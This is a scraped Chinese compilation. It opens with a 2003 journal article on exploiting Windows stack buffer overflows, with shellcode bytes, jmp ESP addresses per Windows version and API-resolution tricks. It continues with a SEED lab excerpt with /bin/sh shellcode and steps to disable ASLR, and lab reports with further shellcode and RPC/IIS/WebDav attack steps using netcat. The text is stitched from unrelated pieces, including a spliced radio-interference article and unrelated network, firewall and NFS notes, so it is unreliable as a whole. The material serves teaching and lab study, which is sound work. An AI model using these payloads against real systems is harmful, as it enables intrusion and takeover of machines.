Windows平台下的缓冲区溢出漏洞分析

Windows平台下的缓冲区溢出漏洞分析
Windows平台下的缓冲区溢出漏洞分析

第27卷 第2期2003年2月 信 息 技 术

I NFORMATI ON TECHNOLOGY

VOL.27 NO.2

Feb.2003

Windows平台下的缓冲区溢出漏洞分析

邵 丹,唐世钢,林 枫

(哈尔滨理工大学测试技术与通信工程学院,哈尔滨150080)

摘 要:就windows平台下利用缓冲区溢出漏洞发起攻击时遇到的几个技术问题提出了一些想法和解决思路,这些问题包括:子函数返回时原缓冲区释放导致攻击代码shellcode无效问题; shellcode中跳转指令地址问题;shellcode所使用函数问题。

关键词:Windo ws;缓冲区溢出;漏洞

中图分类号:TP393.08 文献标识码:B 文章编号:1009-2552(2003)02-0017-03 The Analysis of Buffer Overflow Exploit under Windows OS

Shao Dan,Tang Shigang,Lin Feng

(College of Measure-control Technology&C ommunication Eng ineering,Harbin Univ.Sci.Tech,Harbin150080,China) Abstract:This article analyze some technical problems about overflow exploit under Windows OS and brings for word some ideas about how to solve them.These proble ms include:The function stack be released when func tion return;that result in the invalidation of shellcode,The proble m about jump address in shellcode,The problem about the function used in shellcode.

Key words:Windows;Overflow;Exploit

1 缓冲区溢出

缓冲区溢出指的是一种系统攻击的手段。通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

e xample1.c

-------------

void function(char*str){

char buffer[16];

strcpy(buffer,str);

}

-------------

上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(), gets(),scanf(),以及在循环内的getc(),fgetc(),get char()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

2 制造缓冲区溢出

一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是:

收稿日期:2002-10-15

作者简介:邵丹(1978-),男,2000年哈尔滨理工大学硕士研究生,研究方向:计算机网络安全。

当程序中发生子函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(EIP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄存器(EBP)中的内容;然后把当前的栈指针寄存器(ESP)中的内容拷贝到EBP,做为新的基地址;最后为本地变量留出一定空间,把ESP中的内容减去适当的数值。以下面程序为例:

e xample2.c

--------------

void function(char*str){

char buffer[16];

strcpy(buffer,str);

}

void main(){

char large-string[256];

int i;

for(i=0;i<255;i++)

large-string[i]=A;

func tion(large-string);

}

---------------

当调用函数function()时,堆栈如下:

栈顶 buffer EBP1 RET *str

<---[ ][ ] [ ] [ ]

large-string i EBP0 RET 栈底

[ ][][ ][ ]

注:EB P0代表0时刻EBP寄存器中的内容, EBP1代表1时刻EBP寄存器内容。

不用说,程序执行的结果是!Segmentation fault (core dumped)?或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容A覆盖,包括EBP1,RE T,甚至*str。A的十六进值为0x41,所以子函数的返回地址变成了0x41414141,这超出了程序的地址空间,所以出现段错误。

3 通过缓冲区溢出获得用户SHELL

利用缓冲区漏洞进行系统攻击的基本思想是:用精心计算好的地址替代堆栈中的RE T,使子函数返回时跳去执行shellcode。绝大多数有关缓冲区溢出漏洞的文章会告知通过如下步骤达到目的:在溢出的缓冲区中写入想执行的代码,再覆盖返回地址(RET)的内容,使它指向缓冲区的开头,就可以达到运行其它指令的目的,如下图所示:

栈顶 buffer EB P1 RE T *str

<---[SSSSSSSSS][S] [A] [ ]

large-string i EB P0 RE T 栈底

[ ][][ ][ ]

注:S代表shellcode,A代表返回地址

以下面程序为例:

exa mple3.c

-------------------

char shellcode[]={

0x8B,0xE5, mov esp,ebp

0x55, push ebp

0x8B,0xEC, mov ebp,esp

0x83,0xEC,0x0C, sub esp,0000000C

0xB8,0x63,0x6F,0x6D,0x6D, mov eax,

6D6D6F63

0x89,0x45,0xF4, m ov d word ptr[ebp-0C],ea x

0xB8,0x61,0x6E,0x64,0x2E, mov eax,

2E646E61

0x89,0x45,0xF8, mov d word ptr[ebp-08],ea x

0xB8,0x63,0x6F,0x6D,0x22, mov ea x,226D6F63

0x89,0x45,0xFC, mov d word ptr[e bp-04],ea x

0x33,0xD2, xor edx,edx

0x88,0x55,0xFF, mov byte ptr[ebp-01],dl 0x8D,0x45,0xF4, lea eax,dword ptr[ebp-0C]

0x50, push ea x

0xB8,0xad,0xaa,0x01,0x78, mov ea x, 7801aaad system()的内存地址

0xFF,0xD0 call eax调用system()

};

char large-string[128];

void main(){

char buffer[96];

int i;

long*long-ptr=(long*)large-string;

for(i=0;i<32;i++)

*(long-ptr+i)=(int)buffer;

for(i=0;i

large-string[i]=shellcode[i];

memcpy(buffer,large-string,128);

}

-------------------

编译,然后运行。DOS框显示。在提示符下输入dir,copy##这个程序所做的就是在large-string 中填入buffer的地址,并把shell代码放到large-string 的前面部分。然后将large-string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从me mcpy()中返回时,就会转而执行shellcode。

上面这个程序只是个教学例程,离实战攻击还有一定距离。问题出在两个地方。

第一,注意到字符数组buffer是在main函数中分配的栈空间,所以在memcpy函数返回后buffer空间并不释放。而实战中,目标程序的缓冲区溢出通常是发生在子函数调用中,当子函数返回后,子函数缓冲区即被随机数填充(即被释放了)。如果把shellcode放在子函数缓冲区,当子函数返回时就会被冲掉。

第二,我们是用memcpy函数来造成buffer溢出的。实战中,目标程序发生溢出时调用的大多是strcpy()、strcat()、sprintf()、gets()、scanf()等函数,这些函数在操作数据时遇到\0和\n会把数据自动截断。知道windows为每个程序分配了4G的地址空间,其中用户进程空间是0--2G,操作系统所占的为2--4G。事实上用户进程的加载位置为: 0x00400000.所以这个进程的所有指令地址,数据地址和堆栈指针都会含有0。当试图通过strcpy()等函数覆盖RET使之指向shellc ode时,strcpy()等函数会从中截断,使RET等于0。

第一个问题,既然子函数缓冲区在子函数返回时会被释放,shellcode就不放在子函数的缓冲区里面。即把shellcode放在子函数返回后栈顶之后的内存段里,如下图所示:

低内存端 buffer EB P1 RET *str

large-string i EBP0RET 高内存端

栈顶<----[NNNNNNNNN][N][A][N]

[SSSSSSSSSSSSS][S][S][S]栈底注:N代表空操作,S代表shellcode,A代表返回地址

第二的问题,99年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack曾提出利用系统核心dll中的指令来完成跳转的思想。事实上,这一技巧开创了一个新的windows缓冲区溢出的思路。思路是这样的:返回地址A的内容不指向shellc ode开始地点,否则A里面必然含有0。系统核心的dll都是在2-4G,也就是从0x80000000到0xffffffff,这里面的指令地址将不包含0(当然极个别的除外,可以不用它)。因此,可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的作用就是call\jmp我们的shellcode。但是怎么才能知道shellcode的地址呢?答案是利用ESP寄存器。因为在子函数返回的时候,ESP中的内容指向新的栈顶(SP就是栈顶指针)。所以,shellcode的开始位置,就是子函数返回的时候E SP中内容所指向的位置。因此,使用jmp ESP就可以跳到shellcode上来。到哪里去找jmp ESP这条指令呢?能保证找到的这条指令每次都在同一内存地址上么?答案是到系统核心dll里去找。系统核心dll包括kernel32.dll,user32.dll, gdi32.dll.这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。jmp ESP这条指令在各版本的windo ws kernel32.dll中的地址如下: win98第二版下(4.00.2222a),jmp ESP指令地址:0xbff795a3

winnt4下(4.00.1381),jmp ESP指令地址: 0x77f0eac3

win2000下(5.00.2195),jmp ESP指令地址: 0x77e2e32a

现在只要把shellcode放到子函数返回后的栈顶,再用目标系统jmp ESP指令地址覆盖函数RE T,理论上缓冲区溢出漏洞攻击就可以成功了。

4 shellcode使用的函数问题

在高级shellcode里面一般使用了很多win32函数,比如ReadFile,CreateProcess等等。这些函数必须加载到了目标程序的进程空间里面后才能使用。将攻击的系统的远程服务程序里面并不能保证已经load了所需要的所有的函数。希望可以作出一个平台无关的shellcode,这就必须不直接使用OS版本相关的函数入口地址。这是因为函数入口地址是根据OS SP 升级的版本不同而可能不同的。唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary 加载dll,用GetProc Address函数来获得函数地址。这需要shellcode里面有一个函数名表保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数一一获得这些函数的地址。但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得?想一想这两个函数的作用?!取得所有其他函数的地址。?它们非常重要,每一个win32程序都要使用它们。我们的目标程序肯定也会有它们的。所以,在写exploit的时候,这(下转第22页)

3.3 邻道干扰

邻道干扰是指临近有用信号的干扰。它的出现,一方面因接收机输入回路(主要是中频回路)曲线并非理想矩形,在边缘频率上引入干扰;另一方面过强的输入信号使高、中频级处于限幅状态所产生的非线性失真,由于交互调作用干扰信号得以串入。其特点是邻道干扰的频率与接收机信号频率相近,输入及高中回路对其削减作用很小[3]。

当一个无线电报汛网使用很多频率工作时,接收机可能会收到远近距离不同台站传来的信号,这样在接收机中就会产生强弱不同的信号。强信号被解调出来,弱信号只能以噪声的形式出现,强信号抑制了弱信号的解调,远距离的弱信号通常又是有用信号,这显然不是我们期望的。为防止和削弱邻道干扰的影响,应选择中频选择性好,技术性能优良的接收机;合理配备频点,增加有用信号功率。对于电台功率只要求满足报汛要求即可,一味追求大功率指标的做法是不可取的。有条件的可设置功率自动控制系统。

3.4 同频干扰

同频干扰的产生主要是由于无线电频率管理不善引起的。当多部电台共用一个频率工作时,频率相同的信号同时进入接收机时,若电台间载频频差以及调制频偏和相位的不一致,就会造成同频干扰。对于同频单功网的应用,同频干扰是不可避免的,只要用户间恪守电台使用制度,在信道被占用时不强行发射信号,即可避免非期望信号的同频干扰。对于同频道复用的地区,同频道无线区距离远近应根据同频道干扰要求和频率利用率要求综合考虑,为避免同频道干扰,必须保证接收机输入端信号同频道干扰大于等于射频防护比,以保证同频道复用距离。4 网络间的干扰

在同一区域内往往存在着隶属于不同系统的许多通信网,每个网络自成体系,这些网络之间的相互影响就形成了网间干扰。它们有互调干扰、邻道干扰、同频干扰和设备本身产生的各种杂波辐射干扰等几种形式,最为严重的是互调干扰。为此在组网设计时除认真查勘测试外,还要合理选择网内信道的频率,协调掌握周围外系统的频点状况,必要时与外系统频点一起进行检验,看其是否构成三阶互调干扰。对于多网重叠地区的组网设计,要周密考虑综合分析,仔细核实是否无互调干扰。网间同频干扰主要是多信道频率复用系统的复用频率分配不合理引起的,邻道干扰主要是由于频道分配不当及通信网的远近效应引起的。对于多网共存建台较多的地区,同频干扰可通过时间、区域分割、同频隔离,有效通信距离内使用不同频点的方法加以限制。当干扰信号不太强时,对不同网络间采用不同极化方式的天线,也能一定程度地抑制网间干扰。

5 结束语

以上对超短波报汛中的常见干扰进行了分析、探讨,相应的防范措施在实际工作中起到了良好的效果。在工作中对于接收机中出现的种种干扰,不能孤立对待,要把握协调各种矛盾,充分考虑系统的性能价格比,使报汛设备工作在最佳状态。

参 考 文 献

[1] 周光华.移动报汛技术.杭州:浙江科学技术出版社,1991.

[2] 姚光圻,等.小型电台及其组网应用.北京:中国铁道出版社,

1988.

[3] 单锦星.调频接收机抗干扰性能的分析与测量.电子技术,

1985,(6):19-21.责任编辑:张棣

(上接第19页)

两个函数的地址都是确定的。这些动态加载的函数都是在目标程序里面设置了一个入口表。由目标程序自己去加载,但是入口表地址是固定的。以使用wdasm32来搜索LoadLibrary和GetProc Address,可以看到它们对应的入口表地址AAAA。在shellcode里面,可以直接用call[AAAA]来引用它们。

4 结束语

计算机网络安全是我们国家目前面临的一个重大问题。安全意识薄弱,安全技术研究滞后是目前我国计算机安全领域的现状。现代战争中网络攻击已经成为取得战争胜利的有效手段,所以计算机安全技术就象一把双刃剑,如果被别有用心的人掌握了就可能扰乱我们国家正常的政治经济环境;如果我们运用得当则可以保证国家的经济建设的顺利进行,可以保卫我们的国家安全。

参 考 文 献

[1] i pxodi.window系统下的堆栈溢出.IsBaseMagzine,2000.3.

[2] 佚名.缓冲区溢出机理分析.绿盟月刊,2000.5.

[3] Backend.Windows2000缓冲区溢出入门.Is Base M agzine,2000.4.

责任编辑:张棣

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 一、实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。 二、实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。 1、输入命令安装一些用于编译32位C程序的东西: sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev 2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash: 三、实验步骤 3.1 初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能: sudo sysctl -w kernel.randomize_va_space=0 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。 linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序: sudo su cd /bin rm sh ln -s zsh sh exit 3.2 shellcode 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。 观察以下代码: #include int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } 本次实验的shellcode,就是刚才代码的汇编版本: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 3.3 漏洞程序 把以下代码保存为“stack.c”文件,保存到/tmp 目录下。代码如下: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */strcpy(buffer, str); return 1;

windows系统的文件共享问题

很多时候,电脑的硬盘在默认情况下是共享的,这点很容易被黑客利用,在命令状态下,输入命令“NET SHARE ”即可查看系统里的共享情况,如下图: 图1-4 下面介绍三种方法可以把计算机里的共享去掉,请大家自己选择一种。 第一种:批处理法。 打开记事本,输入以下显示的共享内容,记住每行最后要回车。 Net share 实验2 /delete Net share 实验三/delete Net share 实验六/delete …… 如果要取消磁盘的共享,就要在磁盘后加“$”,例如,要取消D盘的共享,那么写法如下: Net share D$ /delete 将以上内容保存为noshare.bat(注意后缀名),然后把这个批处理文件拖到“程序”——“启动”项,这样每次启动开机时就会运行它,如果需要开启某一个共享,只需删除其中的那个命令行。 第二种:停止服务法。 计算机里每一种行为都对应着一种服务,共享也是如此,所以只要关闭其中对于的服务即可。 打开“控制面板”——“管理工具”——“服务”,找到一个名为“server”的服务,右键单击该服务,在弹出菜单中选择“属性”,在server服务属性的“常规”里的“启动类型”里选择“已禁用”,再单击“停止”按钮,如下图。

图1-5 该服务停止后,再在命令模式下,输入命令“net share”,可以看到所有共享都已经停止。 这种方法的问题在于:打印机也无法再共享了。 第三种方法:卸载“文件和打印机共享”法。 右键单击“网上邻居”——“属性”,在弹出的“网络和拨号连接”窗口中右键单击“本地连接”,选择“属性”,选择“microsoft网络的文件和打印机共享”,单击下面的“卸载”按钮,即完成了共享的卸载。如下图所示。

基于Windows平台的个人防火墙设计论文

基于Windows平台下的个人防火墙设计 摘要 网络安全问题长期威胁着网络终端用户,需要有有效的安全工具解决这个问题,个人防火墙就是其中的一种常用的安全工具。为了实现个人防火墙软件,选用VC++ 6.0开发工具。软件系统主要包括两项工程,一是核心模块设计,即DLL 工程,实现了封包截获、管制动作和协议封包的解析任务,主要利用Winsock 2 SPI技术实现网络封包截获,之后利用控管规则对过往封包进行合法性检查和过滤,方法是首先利用Winsock 2 SPI技术建立winsock钩子,用它来截获winsock 的调用,然后作出相应动作处理,动作处理需通过控管规则的检查后,确定socket 连接是否允许通过,其中控管规则由用户层设置;二是用户模块设计,即EXE工程,实现用户界面和负责与DLL模块的通信,提供了3个主要界面,即封包监视、控管规则、控管规则设置。最后通过测试和应用,基本解决了终端用户的网络连接安全问题。 关键词:过滤;动态连接库;Winsock 2 SPI;网络封包;协议封包

The Design of the Personal Firewall Based on Windows Abstract The terminal users of network are always threaten by the problems of security of network,so we need a effective tool to solve this problem.The personal firewall is one of the common tools of security. VC++ is selected to implement the personal firewall.The system has two projects mainly. One of the projects is the design of core module which can be called the project of DLL.This project implements behaviors of management and the analysis of packets of protocols. The technology of Winsock 2 SPI is used to capture of pakcets of network. After that, then the checking and filtering of the packets are done using the rules of control and management. At the beginning, the control rules build up the Hook of winsock which is used to capture the tranfer of winsock,and then it implements relative behaviors.The link of socket will be or not get through checking by the rules of control and management. The rules of control and management are set by the layer of user.Then, we should design the module of user which can be called the project of exe. It implements the interface of user and the module of communication with DLL. It provides three main interfaces, they are the watching of filtering packet, the rules of control and management and the setting of rules of control and management. Finally, it has solved the requirement of security of terminal users after the final testing and application. Key words:Filter;DLL;Winsock 2 SPI;Network packets; Protocol packets

缓冲区溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告 实验名称缓冲区溢出实验 团队成员: 教师评语:

一.实验环境 ?操作系统:Windows XP SP3 ?编译平台:Visual C++ 6.0 ?调试环境:OllyDbg 二.实验目的 1.掌握缓冲区溢出的原理; 2.掌握缓冲区溢出漏洞的利用技巧; 3.理解缓冲区溢出漏洞的防范措施。 三.实验内容及步骤 1.缓冲区溢出漏洞产生的的基本原理和攻击方法 ?缓冲区溢出模拟程序 程序源代码如下: 运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。 运行命令窗口的shellcode shellcode测试代码如下: #include "string.h" #include "stdio.h" #include char name[]= "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" ///覆盖ebp "\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512 "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" "\x8d\x45\xf4\x50\xb8" "\x77\x1d\x80\x7c" // LoadLibraryW的地址 "\xff\xd0" "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

《基于windows平台的网络构建》课程实践教学改革

《基于windows平台的网络构建》课程实践教学改革摘要:该文就《基于windows平台的网络构建》课程实践教学存在的问题进行探讨,并提出改进思路与方法,提高学生运用windows 平台进行网络组建和网络服务管理的职业技能。 关键词:windows平台网络构建实践教学改革 Abstract:The problems of “construct the network base on windows platform” practice teaching discussed in this arti cle,and the proposed improvement ideas and methods to improve the students to use the windows platform network formation and network service management vocational skills. Key word:windows platform network building practice teaching reform 1课程概况 掌握并应用windows服务系统是中小型企业从事网络建设和网络管理的核心技能之一,涉及IP规划、路由和远程访问服务、DHCP、流媒体等内容。在windows服务的实际应用中,企业往往部署了windows自带的服务(如DNS、WEB)和其他服务生产商的产品(如ServU、Helix),《基于windows平台的网络构建》课程教学内容包含windows server系统管理和服务管理、主流应用服务的配置与管理、

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告 班级:10网工三班学生姓名:谢昊天学号:46 实验目的和要求: 1、掌握缓冲区溢出的原理; 2、了解缓冲区溢出常见的攻击方法和攻击工具; 实验内容与分析设计: 1、利用RPC漏洞建立超级用户利用工具文件检测RPC漏洞,利用工具软件对进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。 3、利用WebDav远程溢出使用工具软件和远程溢出。 实验步骤与调试过程: 1.RPC漏洞出。首先调用RPC(Remote Procedure Call)。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务。利用RPC漏洞建立超级用户。首先,把文件拷贝到C盘跟目录下,检查地址段到。点击开始>运行>在运行中输入cmd>确定。进入DOs模式、在C盘根目录下输入 -,回车。检查漏洞。 2.检查缓冲区溢出漏洞。利用工具软件对进行攻击。在进入DOC模式、在C盘根目录下输入 ,回车。 3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。进入IIS溢出工具软件的主界面. PORT:80 监听端口为813 单击IDQ溢出。出现攻击成功地提示对话框。 4.利用工具软件连接到该端口。进入DOs模式,在C盘根目录下输入 -vv 813 回车。5.监听本地端口(1)先利用命令监听本地的813端口。进入DOs模式,在C盘根目录下输入nc -l -p 813回车。(2)这个窗口就这样一直保留,启动工具软件snake,本地的IP 地址是,要攻击的计算机的IP地址是,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813.点击按钮“IDQ溢出”。(3)查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,进入DOC模式,在C盘根目录下输入nc -l -p 813回车。 6.利用WebDav远程溢出使用工具软件和远程溢出。(1)在DOS命令行下执行,进入DOC 模式,在C盘根目录下输入回车。(2)程序入侵对方的计算机进入DOC模式,在C盘根目录下输入nc -vv 7788 回车。 实验结果: 1.成功加载RPC服务。可以在服务列表中看到系统的RPC服务,见结果图。 2.成功利用工具软件对进行攻击。 3.成功利用IIS溢出进行攻击利用软件Snake IIS溢出工具让对方的IIS溢出,从而捆绑

基于windows平台的基本网络测试工具实验

基于windows平台的基本网络测试工具实验 1 、实验目的 1 )了解网络命令行的使用。 2 )熟练掌握ping 命令、netstat 命令、ipconfig 命令、arp 命令tracert 命令、route 命令、nbtstat 命令、net 命 令的操作使用。 2 、实验环境 一台装有Windows 2000 Server 的联网计算机。 3 、实验原理 一般网络命令的原理就是在建立连接通道,然后发送一些测试数据包对方接受后返回信息,而这个返回数据包包含一些网络状况的相关信息。 4 、实验要求 1 )熟悉掌握ping 命令操作。 2 )熟悉掌握netstat 命令操作。 3 )熟悉掌握ipconfig 操作。 4 )熟悉掌握arp 命令操作。 5 )熟悉掌握tracert 命令操作。 6 )熟悉掌握route 命令操作。 7 )熟悉掌握nbtstat 命令操作。 8 )熟悉掌握net 命令操作。 5 、实验步骤 常见网络命令实验操作都在windows2000 的DOS 窗口中操作,如下图:

? Ping 命令 Ping 命令用于确定本地主机是否能与另一台主机交换(发送与接收)数据报。根据返回的信息,就可以推断TCP/IP 参数是否设置得正确以及运行是否正常。需要注意的是:成功地与另一台主机进行一次或两次数据报交换并不表示TCP/IP 配置就是正确的,必须执行大量的本地主机与远程主机的数据报交换,才能确信TCP/IP 的正确性。 ? 简单的说,Ping 就是一个测试程序,如果Ping 运行正确,大体上就可以排除网络访问层、网卡MODEM 的输入输出线路、电缆和路由器等存在的故障,从而减小了问题的范围。但由于可以自定义所发数据报的大小及无休止的高速发送,Ping 也被某些别有用心的人作为DDOS (拒绝服务攻击)的工具,前段时间Y ahoo 就是被黑客利用数百台可以高速接入互联网的电脑连续发送大量Ping 数据报而瘫痪的。 ? 按照缺省设置,Windows 上运行的Ping 命令发送4 个ICMP (网间控制报文协议)回送请求,每个32 字节数据,如果一切正常,应能得到4 个回送应答。 ? Ping 能够以毫秒为单位显示发送回送请求到返回回送应答之间的时间量。如果应答时间短,表示数据报不必通过太多的路由器或网络连接速度比较快。Ping 还能显示TTL (Time To Live 存在时间)值,可以通过TTL 值推算一下数据包已经通过了多少个路由器:源地点TTL 起始值(就是比返回TTL 略大的一个 2 的乘方数)- 返回时TTL 值。例如,返回TTL 值为119 ,那么可以推算数据报离开源地址的TTL 起始值为128 ,而源地点到目标地点要通过9 个路由器网段(128-119 );如果返回TTL 值为246 ,TTL 起始值就是256 ,源地点到目标地点要通过9 个路由器网段。 Ping 命令的常用参数选项: ? ping IP -t-- 连续对IP地址执行Ping 命令,直到被用户以Ctrl+C 中断。 ? ping IP -l 2000-- 指定Ping 命令中的数据长度为2000 字节,而不是缺省的32 字节。? ping IP -n-- 执行特定次数的Ping 命令。 ? Netstat Netstat 用于显示与IP、TCP 、UDP 和ICMP 协议相关的统计数据,一般用于检验本机各端口的网络连接情况。如果计算机有时候接受到的数据报会导致出错数据删除或故障,不必感到奇怪,TCP/IP 可以容许这些类型的错误, 并能够自动重发数据报。但如果累计的出错情况数目占到所接收的IP数据报相当大的百分比,或者它的数目正迅速增加,那么就应该使用Netstat 查一查为什么会出现这些情况了。netstat 的一些常用选项: ? netstat -s-- 本选项能够按照各个协议分别显示其统计数据。如果应用程序(如Web 浏览器)运行速度比较慢,或者不能显示Web 页之类的数据,那么就可以用本选项来查看一下所显示的信息。需要仔细查看统计数据的各行,找到出错的关键字,进而确定问题所在。 ? netstat -e-- 本选项用于显示关于以太网的统计数据。它列出的项目包括传送的数据报的总字节数错误数、删除数、数据报的数量和广播的数量。这些统计数据既有发送的数据报数量,也有接收的数据报数量。这个选项可以用来统计一些基本的网络流量)。 ? netstat -r-- 本选项可以显示关于路由表的信息,类似于后面所讲使用route print 命令时看到的信息。除了显示有效路由外,还显示当前有效的连接。

怎样写远程缓冲区溢出漏洞利用程序

怎样写远程缓冲区溢出漏洞利用程序
作者:佚名出处:IT 专家网论坛整理 2007-12-18 10:29
假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来 利用该漏洞,这样将能得到一个远程 shell。 一、理解有漏洞程序:
#include #include #include #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 int handling(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = ’\0’; sprintf(buffer, "Hello %s, nice to meet you!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0; } int main(int argc, char *argv[]) { int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; }

WindowsServer2012NFS文件共享方法

Windows Server 2012 NFS文件共享 方法 NFS共享服务器 NFS是Network File System的简写,即网络文件系统,也是最常见的网络共享机制,是在 Unix 系统间实现磁盘文件共享的一种方法。它支持应用程序在客户端通过网络存取位于服务器磁盘中数据的一种文件系统协议。NFS 的基本原则是容许不同的客户端及伺服端通过一组 RPCs 分享相同的文件系统,它是独立于操作系统,容许不同硬件及操作系统的系统共同进行文件的分享。我们可以通过专业的存储设备或者NFS服务器来为Hyper-v提供存储空间。 Windows Server 2012 中的 Server for NFS 功能通过改进,已具备持续可用性。这一特性促成了一些新场景,例如在基于文件的存储中通过 NFS 协议运行 VMware ESX 虚拟机,而不再需要使用昂贵的 SAN 存储。这一改善使得 Windows Server 2012 能为 VMware 虚拟机提供持续可用性,使得组织可以用更容易的方式将 VMware 基础架构与 Windows 平台相集成。 1、在“服务器管理器”界面上,选择“添加角色和功能。

2、开始之前的界面上,确认目标服务器和网络环境的作用和功能以及要安装的准备。单击下一步。

3、在选择服务器角色的界面上,在中间部分的“角色”选项组下的文件服务器下拉列表中勾选相应组件。 4、在确认安装所选内容的界面上,直接单击安装按钮

5、在服务器管理器界面上,选择文件和存储服务 6、成功安装NFS服务器功能后,需要创建一个NFS共享。首先选择共享,在共享中选择创建一个文件共享,启动设置共享向导。 7、选择配置共享文件的类型

办公软件应用模块(WINDOWS平台)中级(考试大纲)

